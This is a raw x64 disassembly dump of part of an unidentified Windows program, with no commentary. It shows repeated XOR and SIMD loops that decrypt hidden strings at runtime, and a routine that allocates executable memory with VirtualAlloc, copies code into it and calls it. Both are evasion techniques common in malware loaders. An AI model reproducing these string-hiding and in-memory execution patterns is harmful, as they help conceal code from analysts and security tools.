psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x90], xmm3
jmp 0x140246727
lea r10, [rsp + 0x90]
mov r9d, esi
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x1402466d0
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x1402468bf
mov eax, dword [0x1402aae28]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x1402aae2c]
mov byte [rsp + 0x168], 0x42
xor byte [rsp + 0x169], 0x43
xor byte [rsp + 0x16a], 0x45
xor byte [rsp + 0x16b], 0x47
xor al, 0x49
mov byte [rsp + 0x16c], al
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x14024725e
mov eax, dword [0x1402a9648]
mov dword [rsp + 0x19c], eax
cmp byte [str.GqzvwI], 0
je 0x14024725e
cmp r12d, 2
jl 0x14024725e
movd xmm5, ebx
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x19c], xmm3
jmp 0x14024725e
movsd xmm0, qword [str.anh___mdS]
movsd qword [rsp + 0xd0], xmm0
movzx eax, word [0x1402aa890]
mov word [rsp + 0xd8], ax
mov eax, dword [str.an0gI]
mov dword [rsp + 0xb0], eax
movzx eax, byte [0x1402a975c]
cmp byte [0x1402aa891], 0
je 0x140246950
mov byte [rsp + 0xd0], 0x20
xor byte [rsp + 0xd1], 0x43
xor byte [rsp + 0xd2], 0x45
xor byte [rsp + 0xd3], 0x47
xor byte [rsp + 0xd4], 0x49
xor byte [rsp + 0xd5], 0x4b
xor byte [rsp + 0xd6], 0x4d
xor byte [rsp + 0xd7], 0x4f
xor byte [rsp + 0xd8], 0x51
xor byte [rsp + 0xd9], 0x53
nop dword [rax]
mov byte [rsp + 0xb0], 0x20
xor byte [rsp + 0xb1], 0x43
xor byte [rsp + 0xb2], 0x45
xor byte [rsp + 0xb3], 0x47
xor al, 0x49
mov byte [rsp + 0xb4], al
movups xmm0, xmmword [str.ang:__._8_8_eNLe]
movups xmmword [rsp + 0x2a0], xmm0
movzx eax, word [0x1402ab8b0]
mov word [rsp + 0x2b0], ax
movzx eax, byte [0x1402ab8b2]
mov byte [rsp + 0x2b2], al
mov r9d, esi
cmp r12d, 2
jl 0x140246bd7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
movd xmm9, r15d
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x2a4]
mov edx, dword [rsp + 0xe0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140246a10
cmp r9d, 0x13
jge 0x140246c47
movsxd rax, r9d
lea r10, [rsp + 0x2a0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x13
jl 0x140246bf0
movsd xmm0, qword [str.l_e____sx_y_]
movsd qword [rsp + 0x220], xmm0
mov eax, dword [0x1402aaa08]
mov dword [rsp + 0x228], eax
movzx eax, word [0x1402aaa0c]
mov word [rsp + 0x22c], ax
cmp byte [0x1402aaa0d], 0
je 0x140246ee7
mov r9d, esi
cmp r12d, 2
jl 0x140246e74
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, ebx
movdqa xmm8, xmmword [0x1402ad180]
movd xmm11, r15d
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.l_e____sx_y_]
pxor xmm3, xmm0
movd dword [rsp + 0x220], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x224]
pxor xmm3, xmm1
movd dword [rsp + 0x224], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x220]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140246e90
lea rax, [rsp + 0x220]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140246ef6
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xce0]
sub rax, rdx
cmp rax, rcx
jb 0x14024b583
lea rax, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x220]
lea rcx, [rsp + 0xa10]
call fcn.14025e2d0
nop
lea rax, [rsp + 0x2a0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140246f70
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xa10]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x780], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x790], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x780], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x790], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xef8]
cmp qword [rsp + 0xf10], 0x10
cmovae rdx, qword [rsp + 0xef8]
mov r8, qword [rsp + 0xf08]
lea rcx, [rsp + 0x780]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x760], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x770], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x760], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x770], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xb0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140247050
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x760]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x740], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x750], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x740], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x750], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xed8]
cmp qword [rsp + 0xef0], 0x10
cmovae rdx, qword [rsp + 0xed8]
mov r8, qword [rsp + 0xee8]
lea rcx, [rsp + 0x740]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x720], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x730], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x720], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x730], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xd0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140247130
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x720]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x378], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x388], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xda8]
cmp rdx, 0x10
jb 0x1402471d2
inc rdx
mov rcx, qword [rsp + 0xd90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402471cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1402471cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027cdf0
movups xmm0, xmmword [rsp + 0x378]
movups xmmword [rsp + 0xd90], xmm0
movups xmm1, xmmword [rsp + 0x388]
movups xmmword [rsp + 0xda0], xmm1
movdqa xmm0, xmmword [0x1402ad090]
movdqu xmmword [rsp + 0x388], xmm0
mov byte [rsp + 0x378], 0
lea rcx, [rsp + 0x378]
call fcn.140259200
nop
lea rcx, [rsp + 0x720]
call fcn.140259200
nop
lea rcx, [rsp + 0x740]
call fcn.140259200
nop
lea rcx, [rsp + 0x760]
call fcn.140259200
nop
lea rcx, [rsp + 0x780]
call fcn.140259200
nop
lea rcx, [rsp + 0xa10]
call fcn.140259200
lea rcx, [rsp + 0xd20]
cmp qword [rsp + 0xd38], 0x10
cmovae rcx, qword [rsp + 0xd20]
mov r8, qword [rsp + 0xd30]
cmp r8, 7
jne 0x140247dac
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140247dac
lea r15, [0x14025b2b0]
movsd xmm0, qword [0x1402a97a0]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x1402a97a8]
mov dword [rsp + 0x1c8], eax
cmp byte [0x1402a97ab], 0
je 0x140247537
mov r9d, esi
cmp r12d, 2
jl 0x1402474c8
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, ebx
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a97a0]
pxor xmm3, xmm0
movd dword [rsp + 0x1c0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1c4]
pxor xmm3, xmm1
movd dword [rsp + 0x1c4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1c0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1402474e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7a0], xmm0
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], rsi
lea rax, [rsp + 0x1c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140247561
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x7a0]
call fcn.14021d330
nop
lea rcx, [rsp + 0x7a0]
call fcn.14020c9c0
mov qword [rsp + 0x4a0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf38], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xf40], r13
mov qword [rsp + 0xf48], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xf38], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140247609
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x1402475f8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x1402475e0
jmp 0x140247609
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x1402476ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140247630
mov r8, rsi
jmp 0x1402476ce
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140247640
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x4a0]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x70], eax
xor rbx, r13
mov qword [rsp + 0xf38], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
lea rcx, [rsp + 0x7a0]
call fcn.140259200
movups xmm0, xmmword [0x1402a9fb8]
movups xmmword [rsp + 0x2e8], xmm0
movzx eax, word [0x1402a9fc8]
mov word [rsp + 0x2f8], ax
cmp byte [0x1402a9fc9], 0
je 0x1402479f7
mov r9d, esi
cmp r12d, 2
jl 0x140247987
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x2ec]
mov edx, dword [rsp + 0xe0]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x1402477c0
cmp r9d, 0x12
jge 0x1402479f7
movsxd rax, r9d
lea r10, [rsp + 0x2e8]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x1402479a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7c0], xmm0
mov qword [rsp + 0x7d0], rsi
mov qword [rsp + 0x7d8], rsi
lea rax, [rsp + 0x2e8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140247a21
